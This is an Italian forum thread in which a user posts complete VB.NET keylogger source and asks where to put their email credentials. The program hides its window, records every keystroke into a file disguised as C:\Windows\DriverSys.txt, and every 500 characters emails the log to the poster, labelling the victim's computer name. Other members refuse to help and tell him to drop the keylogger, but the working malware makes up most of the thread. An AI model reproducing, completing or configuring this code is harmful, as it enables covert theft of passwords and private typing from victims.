• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Domanda Dove devo mettere l'email qui?

ferrari599xx

Utente Normale
Autore del topic
30 Gennaio 2010
62
0
Miglior risposta
0
Ragazzi dove devo mettere tutte le mie informazioni qui?

ECCO IL CODICE
------------------------------------------------------------------------------------------------------------------------------------

Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public rip As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Visible = False
For i As Integer = 3 To 255
Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
Dim sw As StreamWriter
Dim ch As String
If GetAsyncKeyState(i) Then
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
sw.Write(ch)
sw.Flush()
sw.Close()
TextBox1.Text = TextBox1.Text + ch
If TextBox1.TextLength = 500 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("TUA EMAIL")
mail.To.Add("TUA EMAIL")
mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
mail.Body = TextBox1.Text
smtpServer.Send(mail)
rip = +1
Label4.Text = rip
textbox1.text = ""
End If
End If
Next
Label1.Text = TextBox1.TextLength
End Sub
End Class
 
Ultima modifica:
Riferimento: Dove devo mettere l'email qui?

Tu dimmi e io lo faccio non fare commenti inutili -.-"
--------------- AGGIUNTA AL POST ---------------
Lascia perdere, non hai idea da dove partire... Questo è VB, un linguaggio di programmazione...

Non fare commenti inutili -.- tu dimmi e io lo faccio non fare stò tipo di risposte -.-"
 
Ultima modifica:
Riferimento: Dove devo mettere l'email qui?

Ha ragione invece.
Inizia a studiare dalle basi prima. E poi vedrai, che lo saprai tu, dove metterlo.
Cosi non serve a niente. Non fare lamerate con i keylogger.
 
Ultima modifica:
Riferimento: Dove devo mettere l'email qui?

Ha ragione invece.
Inizia a studiare dalle basi prima. E poi vedrai, che lo saprai tu, dove metterlo.
Cosi non serve a niente. Non fare lamerate con i keylogger.
ma dai xD mica faccio lamerate? LòL ma tu dimmi non mi sei stato d'aiuto -.- dimmi non cè bisogno di aver paura xD se volete rispondere rispondete la risposta giusta non che prima devo studiare il C: e stè cose qua -.-"